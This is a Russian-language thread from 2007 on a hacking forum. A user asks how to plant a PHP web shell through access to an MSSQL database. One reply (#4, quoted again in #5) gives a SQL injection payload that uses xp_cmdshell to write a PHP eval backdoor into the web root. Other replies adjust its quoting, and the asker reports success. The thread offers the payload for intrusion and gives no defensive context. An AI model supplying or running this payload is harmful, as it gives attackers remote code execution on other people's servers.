HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Шелл через Mssql
  #1  
Старый 19.09.2007, 19:58
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию Шелл через Mssql

Как имея доступ к mssql базе залить php шелл
 
Ответить с цитированием

  #2  
Старый 19.09.2007, 22:07
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме:
5885100

Репутация: 773


Отправить сообщение для Zitt с помощью ICQ
По умолчанию

Вы хоть пытайтесь поискать))
http://video.antichat.ru/file240.html


up
ссоории не заметил...

Последний раз редактировалось Zitt; 19.09.2007 в 23:49..
 
Ответить с цитированием

  #3  
Старый 19.09.2007, 23:25
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Zitt
Читай внимательней у my и ms sql совсем разный синтаксис.

Sharky
Исполнение команд будет работать зальешь, не будет работать... ну разве только через админку, в остальных случаях...
 
Ответить с цитированием

  #4  
Старый 19.09.2007, 23:48
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

'; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--

Подкорректировать под себя
 
Ответить с цитированием

  #5  
Старый 19.09.2007, 23:58
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--
$_GET['c']
 
Ответить с цитированием

  #6  
Старый 20.09.2007, 00:06
ant0ha
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
Провел на форуме:
306311

Репутация: 119
По умолчанию

Цитата:
Сообщение от [ cash ]  
$_GET['c']
вовсе не обязательно, притом что в запросе одинарные кавычки уже используются, тока конфликт возникнет
 
Ответить с цитированием

  #7  
Старый 20.09.2007, 18:04
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

всем спасибо...сделал что надо...тему можно закрыть...
 
Ответить с цитированием

  #8  
Старый 20.09.2007, 20:44
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

ну отпиши как сделал )
 
Ответить с цитированием

  #9  
Старый 20.09.2007, 20:55
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

А причём здесь "PHP, PERL, MySQL, JavaScript"?
Почему не "Уязвимости"?
 
Ответить с цитированием

  #10  
Старый 20.09.2007, 21:26
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

2 NOmeR1
Так надо )
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ